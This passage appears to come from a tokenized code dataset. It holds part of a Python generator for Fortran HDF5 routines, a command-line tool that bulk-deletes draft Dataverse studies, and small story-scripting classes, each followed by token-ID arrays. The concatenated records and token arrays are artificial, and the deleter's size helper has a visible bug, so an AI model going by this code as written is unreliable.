h5pset_chunk_f(plist, rank, chunk_dims, h5_error) call h5dcreate_f(g_id, 'value', %s, file_s, ID%% d_id, h5_error, plist) call h5pclose_f(plist, h5_error) call h5sclose_f(file_s, h5_error) deallocate(dims) ; deallocate(max_dims) ; deallocate(chunk_dims) if (present(link_from)) then call h5lcreate_hard_f(file_id, trim(g_name)//'/'//link_from//'/step', g_id, 'step', h5_error) call h5lcreate_hard_f(file_id, trim(g_name)//'/'//link_from//'/time', g_id, 'time', h5_error) else call h5md_create_step_time(g_id) end if call h5dopen_f(g_id, 'step', ID%% s_id, h5_error) call h5dopen_f(g_id, 'time', ID%% t_id, h5_error) call h5gclose_f(g_id, h5_error) end subroutine h5md_create_obs_%s%s """ % (rank,rank,rank, H5T[t_k],t_k,d_k) print s
[ 2, 48443, 14629, 14, 8800, 14, 24330, 21015, 198, 198, 2, 15069, 2813, 12, 6390, 21204, 390, 9842, 2645, 198, 2, 198, 2, 770, 2393, 318, 636, 286, 277, 3829, 71, 20, 9132, 198, 2, 198, 2, 277, 3829, 71, 20, 9132, 318, 1479, 3788, 290, 318, 11971, 739, 262, 9518, 347, 10305, 5964, 357, 3826, 198, 2, 38559, 24290, 2393, 737, 198, 198, 19199, 796, 8633, 3419, 198, 19199, 17816, 72, 20520, 796, 705, 41433, 6, 198, 19199, 17816, 67, 20520, 796, 705, 23352, 15440, 6, 198, 39, 20, 51, 796, 8633, 3419, 198, 39, 20, 51, 17816, 72, 20520, 796, 705, 39, 20, 51, 62, 34259, 9306, 62, 12394, 7156, 1137, 6, 198, 39, 20, 51, 17816, 67, 20520, 796, 705, 39, 20, 51, 62, 34259, 9306, 62, 35, 2606, 19146, 6, 198, 67, 12078, 796, 8633, 3419, 198, 67, 12078, 17816, 82, 20520, 796, 10148, 198, 67, 12078, 17816, 16, 20520, 796, 29513, 25, 33047, 198, 67, 12078, 17816, 17, 20520, 796, 29513, 45299, 25, 33047, 198, 67, 12078, 17816, 18, 20520, 796, 29513, 45299, 45299, 25, 33047, 198, 67, 12078, 17816, 19, 20520, 796, 29513, 45299, 45299, 45299, 25, 33047, 198, 198, 1640, 256, 62, 74, 11, 83, 62, 85, 287, 3858, 13, 2676, 23814, 33529, 198, 220, 220, 220, 329, 288, 62, 74, 11, 67, 62, 85, 287, 5391, 82, 13, 2676, 23814, 33529, 198, 220, 220, 220, 220, 220, 220, 220, 611, 357, 67, 62, 74, 6624, 705, 82, 6, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 4279, 796, 352, 198, 220, 220, 220, 220, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 4279, 796, 493, 7, 67, 62, 74, 47762, 16, 198, 220, 220, 220, 220, 220, 220, 220, 264, 28, 7061, 198, 220, 220, 220, 220, 220, 220, 220, 264, 10, 2625, 15931, 220, 5145, 29, 21394, 510, 257, 289, 20, 9132, 62, 83, 7885, 13, 198, 220, 37867, 2488, 17143, 2393, 62, 312, 4522, 286, 262, 2393, 13, 198, 220, 37867, 2488, 17143, 1438, 6530, 286, 262, 42550, 198, 220, 37867, 2488, 17143, 4522, 25414, 278, 289, 20, 9132, 62, 83, 7885, 198, 220, 37867, 2488, 17143, 1366, 383, 1366, 326, 481, 4197, 656, 262, 42550, 13, 198, 220, 37867, 2488, 17143, 2792, 62, 6738, 1423, 16856, 611, 262, 2239, 290, 640, 329, 428, 42550, 815, 307, 6692, 422, 1194, 530, 13, 198, 220, 37867, 2488, 17143, 20957, 62, 8158, 1423, 16856, 611, 262, 1366, 815, 307, 8574, 2354, 286, 1220, 672, 3168, 2977, 13, 198, 220, 37867, 2488, 19734, 37811, 220, 198, 220, 220, 220, 220, 220, 220, 220, 264, 10, 2625, 15931, 198, 220, 850, 81, 28399, 289, 20, 9132, 62, 17953, 62, 8158, 62, 4, 82, 4, 82, 7, 7753, 62, 312, 11, 1438, 11, 4522, 11, 1366, 11, 2792, 62, 6738, 11, 20957, 62, 8158, 8, 198, 220, 220, 220, 18253, 7, 39, 2389, 62, 51, 828, 6824, 7, 259, 448, 8, 7904, 2393, 62, 312, 198, 220, 220, 220, 2095, 7, 11925, 28, 9, 828, 6824, 7, 259, 8, 7904, 1438, 198, 220, 220, 220, 2099, 7, 71, 20, 9132, 62, 83, 828, 6824, 7, 448, 8, 7904, 4522, 198, 220, 220, 220, 4064, 82, 11, 6824, 7, 259, 8, 7904, 1366, 4, 82, 198, 220, 220, 220, 2095, 7, 11925, 28, 9, 828, 6824, 7, 259, 828, 11902, 7904, 2792, 62, 6738, 198, 220, 220, 220, 2095, 7, 11925, 28, 9, 828, 6824, 7, 259, 828, 11902, 7904, 20957, 62, 8158, 628, 220, 220, 220, 18253, 7, 39, 2389, 62, 51, 8, 7904, 2393, 62, 82, 11, 458, 396, 11, 308, 62, 312, 198, 220, 220, 220, 18253, 7, 7998, 35400, 62, 51, 828, 36836, 21156, 7904, 5391, 82, 7, 25, 828, 3509, 62, 67, 12078, 7, 25, 828, 16058, 62, 67, 12078, 7, 25, 8, 198, 220, 220, 220, 18253, 7904, 4279, 198, 220, 220, 220, 2095, 7, 11925, 28, 2414, 8, 7904, 308, 62, 3672, 628, 220, 220, 220, 611, 357, 25579, 7, 2502, 13154, 62, 8158, 4008, 788, 198, 220, 220, 220, 220, 220, 308, 62, 3672, 796, 20957, 62, 8158, 198, 220, 220, 220, 2073, 198, 220, 220, 220, 220, 220, 308, 62, 3672, 796, 705, 672, 3168, 2977, 6, 198, 220, 220, 220, 886, 611, 628, 220, 220, 220, 869, 289, 20, 70, 17953, 62, 69, 7, 7753, 62, 312, 11, 15797, 7, 70, 62, 3672, 8, 1003, 26488, 6, 1003, 3672, 11, 308, 62, 312, 11, 289, 20, 62, 18224, 8, 628, 220, 220, 220, 4279, 796, 4064, 72, 198, 220, 220, 220, 31935, 7, 67, 12078, 7, 43027, 4008, 2162, 31935, 7, 9806, 62, 67, 12078, 7, 43027, 4008, 2162, 31935, 7, 354, 2954, 62, 67, 12078, 7, 43027, 4008, 198, 37811, 4064, 357, 83, 62, 74, 11, 67, 62, 74, 11, 256, 62, 85, 11, 288, 62, 85, 11, 4279, 1267, 628, 220, 220, 220, 220, 220, 220, 220, 611, 357, 67, 62, 74, 0, 11639, 82, 6, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 264, 10, 2625, 15931, 198, 220, 220, 220, 5391, 82, 7, 16, 25, 4, 72, 8, 796, 5485, 7, 7890, 8, 198, 220, 220, 220, 3509, 62, 67, 12078, 7, 16, 25, 4, 72, 8, 796, 5485, 7, 7890, 8, 198, 220, 220, 220, 16058, 62, 67, 12078, 7, 16, 25, 4, 72, 8, 796, 5485, 7, 7890, 8, 198, 220, 220, 220, 220, 198, 37811, 4064, 357, 43027, 12, 16, 11, 4279, 12, 16, 11, 4279, 12, 16, 8, 628, 198, 220, 220, 220, 220, 220, 220, 220, 264, 10, 2625, 15931, 198, 220, 220, 220, 5391, 82, 7, 4, 72, 8, 220, 220, 220, 220, 796, 657, 198, 220, 220, 220, 3509, 62, 67, 12078, 7, 4, 72, 8, 796, 367, 20, 50, 62, 4944, 43, 3955, 22061, 62, 37, 198, 220, 220, 220, 869, 289, 20, 1416, 260, 378, 62, 36439, 62, 69, 7, 43027, 11, 5391, 82, 11, 2393, 62, 82, 11, 289, 20, 62, 18224, 11, 3509, 62, 67, 12078, 8, 198, 220, 220, 220, 16058, 62, 67, 12078, 7, 4, 72, 8, 796, 13108, 198, 220, 220, 220, 869, 289, 20, 79, 17953, 62, 69, 7, 39, 20, 47, 62, 35, 1404, 1921, 2767, 62, 43387, 6158, 62, 37, 11, 458, 396, 11, 289, 20, 62, 18224, 8, 198, 220, 220, 220, 869, 289, 20, 862, 316, 62, 354, 2954, 62, 69, 7, 489, 396, 11, 4279, 11, 16058, 62, 67, 12078, 11, 289, 20, 62, 18224, 8, 198, 220, 220, 220, 869, 289, 20, 67, 17953, 62, 69, 7, 70, 62, 312, 11, 705, 8367, 3256, 4064, 82, 11, 2393, 62, 82, 11, 4522, 16626, 288, 62, 312, 11, 289, 20, 62, 18224, 11, 458, 396, 8, 198, 220, 220, 220, 869, 289, 20, 79, 19836, 62, 69, 7, 489, 396, 11, 289, 20, 62, 18224, 8, 198, 220, 220, 220, 869, 289, 20, 82, 19836, 62, 69, 7, 7753, 62, 82, 11, 289, 20, 62, 18224, 8, 628, 220, 220, 220, 390, 439, 13369, 7, 67, 12078, 8, 2162, 390, 439, 13369, 7, 9806, 62, 67, 12078, 8, 2162, 390, 439, 13369, 7, 354, 2954, 62, 67, 12078, 8, 628, 220, 220, 220, 611, 357, 25579, 7, 8726, 62, 6738, 4008, 788, 198, 220, 220, 220, 220, 220, 220, 869, 289, 20, 75, 17953, 62, 10424, 62, 69, 7, 7753, 62, 312, 11, 15797, 7, 70, 62, 3672, 8, 1003, 26488, 6, 1003, 8726, 62, 6738, 1003, 26488, 9662, 3256, 308, 62, 312, 11, 705, 9662, 3256, 289, 20, 62, 18224, 8, 198, 220, 220, 220, 220, 220, 220, 869, 289, 20, 75, 17953, 62, 10424, 62, 69, 7, 7753, 62, 312, 11, 15797, 7, 70, 62, 3672, 8, 1003, 26488, 6, 1003, 8726, 62, 6738, 1003, 26488, 2435, 3256, 308, 62, 312, 11, 705, 2435, 3256, 289, 20, 62, 18224, 8, 198, 220, 220, 220, 2073, 198, 220, 220, 220, 220, 220, 220, 869, 289, 20, 9132, 62, 17953, 62, 9662, 62, 2435, 7, 70, 62, 312, 8, 198, 220, 220, 220, 886, 611, 628, 220, 220, 220, 869, 289, 20, 67, 9654, 62, 69, 7, 70, 62, 312, 11, 705, 9662, 3256, 4522, 16626, 264, 62, 312, 11, 289, 20, 62, 18224, 8, 198, 220, 220, 220, 869, 289, 20, 67, 9654, 62, 69, 7, 70, 62, 312, 11, 705, 2435, 3256, 4522, 16626, 256, 62, 312, 11, 289, 20, 62, 18224, 8, 628, 220, 220, 220, 869, 289, 20, 70, 19836, 62, 69, 7, 70, 62, 312, 11, 289, 20, 62, 18224, 8, 628, 220, 886, 850, 81, 28399, 289, 20, 9132, 62, 17953, 62, 8158, 62, 4, 82, 4, 82, 198, 198, 37811, 4064, 357, 43027, 11, 43027, 11, 43027, 11, 367, 20, 51, 58, 83, 62, 74, 4357, 83, 62, 74, 11, 67, 62, 74, 8, 198, 220, 220, 220, 220, 220, 220, 220, 3601, 264, 198 ]
2.104768
1,489
#!python '''Dataverse Bulk Deleter Deletes unpublished studies at the command line ''' import argparse #import json import sys import requests VERSION = (0, 2, 1) __version__ = '.'.join([str(x) for x in VERSION]) def delstudy(dvurl, key, pid): ''' Deletes Dataverse study dvurl : str Dataverse installation base URL key : str Dataverse user API key pid : str Dataverse collection study persistent identifier ''' try: deler = requests.delete(f'{dvurl}/api/datasets/:persistentId/versions/:draft', headers={'X-Dataverse-key':key}, params={'persistentId':pid}, timeout=30) if deler.status_code == 200: return f'Deleted {pid}' deler.raise_for_status() return None except requests.exceptions.HTTPError: return f'Failed to delete {pid}. \n Message: {deler.text}' def conf(tex): ''' Confirmation dialogue checker. Returns true if "Y" or "y" ''' yes = input(f'Delete {tex}? ') if yes.lower() == 'y': return True return False def getsize(dvurl, pid, key): ''' Returns size of Dataverse study. Mostly here for debugging. dvurl : str Dataverse installation base URL pid : str Dataverse collection study persistent identifier key : str Dataverse user API key ''' try: sizer = requests.get(f'{dvurl}/api/datasets/:persistentId/storagesize', headers={'X-Dataverse-key':key}, params={'persistentId':pid}, timeout=10) text = sizer.json()['data']['message'] text = text[text.rfind(':')+2 : -6] text = text.split(',') size = int(''.join(text)) sleeptime = text//1024//1024/10 # sleep for 1/10th sec per megabyte return (size, sleeptime) except requests.exceptions.HTTPError: return (0, 0) def main(): ''' Command line bulk deleter ''' parser = argparse.ArgumentParser(description='Delete draft studies from a Dataverse collection') parser.add_argument('-k', '--key', help='Dataverse user API key', required=True, dest='key') group = parser.add_mutually_exclusive_group() group.add_argument('-d', '--dataverse', help=('Dataverse collection short name from which ' 'to delete all draft records. eg. "ldc"'), dest='dataverse') group.add_argument('-p', '--persistentId', help='Handle or DOI to delete in format hdl:11272.1/FK2/12345', dest='pid') parser.add_argument('-i', '--interactive', help="Confirm each study deletion", action='store_true', dest='conf') parser.add_argument('-u', '--url', help='URL to base Dataverse installation', default='https://soroban.library.ubc.ca', dest='dvurl') parser.add_argument('--version', action='version', version='%(prog)s '+__version__, help='Show version number and exit') args = parser.parse_args() args.dvurl = args.dvurl.strip('/') if args.dataverse: info = requests.get(f'{args.dvurl}/api/dataverses/{args.dataverse}/contents', headers={'X-Dataverse-key': args.key}, timeout=10).json() pids = [f'{x["protocol"]}:{x["authority"]}/{x["identifier"]}' for x in info['data']] if not pids: print(f'Dataverse collection {args.dataverse} empty') for pid in pids: try: if args.conf: if conf(pid): print(delstudy(args.dvurl, args.key, pid)) continue print(f'Skipping {pid}') continue print(delstudy(args.dvurl, args.key, pid)) #time.sleep(getsize(pid, args.key)[1])#Will this stop the server crash? except KeyboardInterrupt: print('Aborted by user') sys.exit() if args.pid: if args.conf: if conf(args.pid): print(delstudy(args.dvurl, args.key, args.pid)) else: print(f'Aborting delete of {args.pid}') else: print(delstudy(args.dvurl, args.key, args.pid)) if __name__ == '__main__': main()
[ 2, 0, 29412, 198, 7061, 6, 6601, 4399, 47900, 42226, 353, 198, 5005, 40676, 42686, 3640, 379, 262, 3141, 1627, 198, 7061, 6, 198, 198, 11748, 1822, 29572, 198, 2, 11748, 33918, 198, 11748, 25064, 198, 11748, 7007, 198, 43717, 796, 357, 15, 11, 362, 11, 352, 8, 198, 834, 9641, 834, 796, 705, 2637, 13, 22179, 26933, 2536, 7, 87, 8, 329, 2124, 287, 44156, 2849, 12962, 198, 198, 4299, 1619, 44517, 7, 67, 85, 6371, 11, 1994, 11, 46514, 2599, 198, 220, 220, 220, 705, 7061, 198, 220, 220, 220, 1024, 40676, 6060, 4399, 2050, 628, 220, 220, 220, 288, 85, 6371, 1058, 965, 198, 220, 220, 220, 220, 220, 220, 220, 6060, 4399, 9988, 2779, 10289, 198, 220, 220, 220, 1994, 1058, 965, 198, 220, 220, 220, 220, 220, 220, 220, 6060, 4399, 2836, 7824, 1994, 198, 220, 220, 220, 46514, 1058, 965, 198, 220, 220, 220, 220, 220, 220, 220, 6060, 4399, 4947, 2050, 16218, 27421, 198, 220, 220, 220, 705, 7061, 198, 220, 220, 220, 1949, 25, 198, 220, 220, 220, 220, 220, 220, 220, 1619, 263, 796, 7007, 13, 33678, 7, 69, 6, 90, 67, 85, 6371, 92, 14, 15042, 14, 19608, 292, 1039, 14, 25, 19276, 7609, 7390, 14, 47178, 14, 25, 35679, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 24697, 34758, 6, 55, 12, 6601, 4399, 12, 2539, 10354, 2539, 5512, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 42287, 34758, 6, 19276, 7609, 7390, 10354, 35317, 5512, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 26827, 28, 1270, 8, 198, 220, 220, 220, 220, 220, 220, 220, 611, 1619, 263, 13, 13376, 62, 8189, 6624, 939, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1441, 277, 6, 5005, 33342, 1391, 35317, 92, 6, 198, 220, 220, 220, 220, 220, 220, 220, 1619, 263, 13, 40225, 62, 1640, 62, 13376, 3419, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 6045, 198, 220, 220, 220, 2845, 7007, 13, 1069, 11755, 13, 40717, 12331, 25, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 277, 6, 37, 6255, 284, 12233, 1391, 35317, 27422, 3467, 77, 16000, 25, 1391, 12381, 263, 13, 5239, 92, 6, 198, 198, 4299, 1013, 7, 16886, 2599, 198, 220, 220, 220, 705, 7061, 198, 220, 220, 220, 7326, 36241, 10721, 2198, 263, 13, 16409, 2081, 611, 366, 56, 1, 393, 366, 88, 1, 198, 220, 220, 220, 705, 7061, 198, 220, 220, 220, 3763, 796, 5128, 7, 69, 6, 38727, 1391, 16886, 92, 30, 705, 8, 198, 220, 220, 220, 611, 3763, 13, 21037, 3419, 6624, 705, 88, 10354, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 6407, 198, 220, 220, 220, 1441, 10352, 198, 198, 4299, 3011, 1096, 7, 67, 85, 6371, 11, 46514, 11, 1994, 2599, 198, 220, 220, 220, 705, 7061, 198, 220, 220, 220, 16409, 2546, 286, 6060, 4399, 2050, 13, 33495, 994, 329, 28769, 13, 198, 220, 220, 220, 288, 85, 6371, 1058, 965, 198, 220, 220, 220, 220, 220, 220, 220, 6060, 4399, 9988, 2779, 10289, 198, 220, 220, 220, 46514, 1058, 965, 198, 220, 220, 220, 220, 220, 220, 220, 6060, 4399, 4947, 2050, 16218, 27421, 198, 220, 220, 220, 1994, 1058, 965, 198, 220, 220, 220, 220, 220, 220, 220, 6060, 4399, 2836, 7824, 1994, 198, 220, 220, 220, 705, 7061, 198, 220, 220, 220, 1949, 25, 198, 220, 220, 220, 220, 220, 220, 220, 264, 7509, 796, 7007, 13, 1136, 7, 69, 6, 90, 67, 85, 6371, 92, 14, 15042, 14, 19608, 292, 1039, 14, 25, 19276, 7609, 7390, 14, 301, 273, 1095, 1096, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 24697, 34758, 6, 55, 12, 6601, 4399, 12, 2539, 10354, 2539, 5512, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 42287, 34758, 6, 19276, 7609, 7390, 10354, 35317, 5512, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 26827, 28, 940, 8, 198, 220, 220, 220, 220, 220, 220, 220, 2420, 796, 264, 7509, 13, 17752, 3419, 17816, 7890, 6, 7131, 6, 20500, 20520, 198, 220, 220, 220, 220, 220, 220, 220, 2420, 796, 2420, 58, 5239, 13, 81, 19796, 7, 10354, 11537, 10, 17, 1058, 532, 21, 60, 198, 220, 220, 220, 220, 220, 220, 220, 2420, 796, 2420, 13, 35312, 7, 3256, 11537, 198, 220, 220, 220, 220, 220, 220, 220, 2546, 796, 493, 10786, 4458, 22179, 7, 5239, 4008, 198, 220, 220, 220, 220, 220, 220, 220, 14368, 457, 524, 796, 2420, 1003, 35500, 1003, 35500, 14, 940, 1303, 3993, 329, 352, 14, 940, 400, 792, 583, 17243, 37828, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 357, 7857, 11, 14368, 457, 524, 8, 198, 220, 220, 220, 2845, 7007, 13, 1069, 11755, 13, 40717, 12331, 25, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 357, 15, 11, 657, 8, 198, 198, 4299, 1388, 33529, 198, 220, 220, 220, 705, 7061, 198, 220, 220, 220, 9455, 1627, 11963, 10881, 353, 198, 220, 220, 220, 705, 7061, 198, 220, 220, 220, 30751, 796, 1822, 29572, 13, 28100, 1713, 46677, 7, 11213, 11639, 38727, 4538, 3640, 422, 257, 6060, 4399, 4947, 11537, 198, 220, 220, 220, 30751, 13, 2860, 62, 49140, 10786, 12, 74, 3256, 705, 438, 2539, 3256, 1037, 11639, 6601, 4399, 2836, 7824, 1994, 3256, 2672, 28, 17821, 11, 2244, 11639, 2539, 11537, 198, 220, 220, 220, 1448, 796, 30751, 13, 2860, 62, 21973, 935, 62, 41195, 62, 8094, 3419, 198, 220, 220, 220, 1448, 13, 2860, 62, 49140, 10786, 12, 67, 3256, 705, 438, 7890, 4399, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1037, 28, 10786, 6601, 4399, 4947, 1790, 1438, 422, 543, 705, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 705, 1462, 12233, 477, 4538, 4406, 13, 29206, 13, 366, 335, 66, 30543, 828, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2244, 11639, 7890, 4399, 11537, 198, 220, 220, 220, 1448, 13, 2860, 62, 49140, 10786, 12, 79, 3256, 705, 438, 19276, 7609, 7390, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1037, 11639, 37508, 393, 40722, 284, 12233, 287, 5794, 289, 25404, 25, 14686, 4761, 13, 16, 14, 26236, 17, 14, 10163, 2231, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2244, 11639, 35317, 11537, 198, 220, 220, 220, 30751, 13, 2860, 62, 49140, 10786, 12, 72, 3256, 705, 438, 3849, 5275, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1037, 2625, 18546, 2533, 1123, 2050, 39948, 1600, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2223, 11639, 8095, 62, 7942, 3256, 2244, 11639, 10414, 11537, 198, 220, 220, 220, 30751, 13, 2860, 62, 49140, 10786, 12, 84, 3256, 705, 438, 6371, 3256, 1037, 11639, 21886, 284, 2779, 6060, 4399, 9988, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 4277, 11639, 5450, 1378, 82, 273, 672, 272, 13, 32016, 13, 549, 66, 13, 6888, 3256, 2244, 11639, 67, 85, 6371, 11537, 198, 220, 220, 220, 30751, 13, 2860, 62, 49140, 10786, 438, 9641, 3256, 2223, 11639, 9641, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2196, 11639, 4, 7, 1676, 70, 8, 82, 705, 10, 834, 9641, 834, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1037, 11639, 15307, 2196, 1271, 290, 8420, 11537, 198, 220, 220, 220, 26498, 796, 30751, 13, 29572, 62, 22046, 3419, 198, 220, 220, 220, 26498, 13, 67, 85, 6371, 796, 26498, 13, 67, 85, 6371, 13, 36311, 10786, 14, 11537, 628, 220, 220, 220, 611, 26498, 13, 7890, 4399, 25, 198, 220, 220, 220, 220, 220, 220, 220, 7508, 796, 7007, 13, 1136, 7, 69, 6, 90, 22046, 13, 67, 85, 6371, 92, 14, 15042, 14, 7890, 690, 274, 14, 90, 22046, 13, 7890, 4399, 92, 14, 3642, 658, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 24697, 34758, 6, 55, 12, 6601, 4399, 12, 2539, 10354, 26498, 13, 2539, 5512, 26827, 28, 940, 737, 17752, 3419, 198, 220, 220, 220, 220, 220, 220, 220, 279, 2340, 796, 685, 69, 6, 90, 87, 14692, 11235, 4668, 8973, 92, 29164, 87, 14692, 9800, 414, 8973, 92, 14, 90, 87, 14692, 738, 7483, 8973, 92, 6, 329, 2124, 287, 7508, 17816, 7890, 6, 11907, 198, 220, 220, 220, 220, 220, 220, 220, 611, 407, 279, 2340, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 3601, 7, 69, 6, 6601, 4399, 4947, 1391, 22046, 13, 7890, 4399, 92, 6565, 11537, 198, 220, 220, 220, 220, 220, 220, 220, 329, 46514, 287, 279, 2340, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1949, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 611, 26498, 13, 10414, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 611, 1013, 7, 35317, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 3601, 7, 12381, 44517, 7, 22046, 13, 67, 85, 6371, 11, 26498, 13, 2539, 11, 46514, 4008, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2555, 628, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 3601, 7, 69, 6, 50, 4106, 2105, 1391, 35317, 92, 11537, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2555, 628, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 3601, 7, 12381, 44517, 7, 22046, 13, 67, 85, 6371, 11, 26498, 13, 2539, 11, 46514, 4008, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1303, 2435, 13, 42832, 7, 11407, 1096, 7, 35317, 11, 26498, 13, 2539, 38381, 16, 12962, 2, 8743, 428, 2245, 262, 4382, 7014, 30, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2845, 31973, 9492, 3622, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 3601, 10786, 4826, 9741, 416, 2836, 11537, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 25064, 13, 37023, 3419, 628, 220, 220, 220, 611, 26498, 13, 35317, 25, 198, 220, 220, 220, 220, 220, 220, 220, 611, 26498, 13, 10414, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 611, 1013, 7, 22046, 13, 35317, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 3601, 7, 12381, 44517, 7, 22046, 13, 67, 85, 6371, 11, 26498, 13, 2539, 11, 26498, 13, 35317, 4008, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 3601, 7, 69, 6, 4826, 24707, 12233, 286, 1391, 22046, 13, 35317, 92, 11537, 628, 220, 220, 220, 220, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 3601, 7, 12381, 44517, 7, 22046, 13, 67, 85, 6371, 11, 26498, 13, 2539, 11, 26498, 13, 35317, 4008, 198, 198, 361, 11593, 3672, 834, 6624, 705, 834, 12417, 834, 10354, 198, 220, 220, 220, 1388, 3419, 198 ]
2.042831
2,218
# -*- coding: utf-8 -*- from acttypes import ActType class Act(object): """ basic action class. """ class Title(Act): """ For title act """ class Chapter(Act): """ For chapter start act """ class Description(Act): """ Nothing subject description act. """ class Person(object): """ basic character class. """ def tell(self, what, desc="", with_subject=False): ''' For dialogue ''' return Act(self, ActType.TELL, "「{}」".format(what), desc, with_subject) class Stage(object): """ basic stage class. """ class Item(object): """ basic item class. """ class DayTime(object): """ basic day and time class. """
[ 2, 532, 9, 12, 19617, 25, 3384, 69, 12, 23, 532, 9, 12, 628, 198, 6738, 719, 19199, 1330, 2191, 6030, 628, 198, 4871, 2191, 7, 15252, 2599, 198, 220, 220, 220, 37227, 4096, 2223, 1398, 13, 198, 220, 220, 220, 37227, 628, 198, 4871, 11851, 7, 6398, 2599, 198, 220, 220, 220, 37227, 1114, 3670, 719, 198, 220, 220, 220, 37227, 628, 198, 4871, 7006, 7, 6398, 2599, 198, 220, 220, 220, 37227, 1114, 6843, 923, 719, 198, 220, 220, 220, 37227, 628, 198, 4871, 12489, 7, 6398, 2599, 198, 220, 220, 220, 37227, 10528, 2426, 6764, 719, 13, 198, 220, 220, 220, 37227, 628, 198, 4871, 7755, 7, 15252, 2599, 198, 220, 220, 220, 37227, 4096, 2095, 1398, 13, 198, 220, 220, 220, 37227, 628, 220, 220, 220, 825, 1560, 7, 944, 11, 644, 11, 1715, 2625, 1600, 351, 62, 32796, 28, 25101, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 705, 7061, 1114, 10721, 198, 220, 220, 220, 220, 220, 220, 220, 705, 7061, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 2191, 7, 944, 11, 2191, 6030, 13, 9328, 3069, 11, 366, 13697, 90, 92, 13700, 1911, 18982, 7, 10919, 828, 1715, 11, 351, 62, 32796, 8, 628, 198, 4871, 15371, 7, 15252, 2599, 198, 220, 220, 220, 37227, 4096, 3800, 1398, 13, 198, 220, 220, 220, 37227, 198, 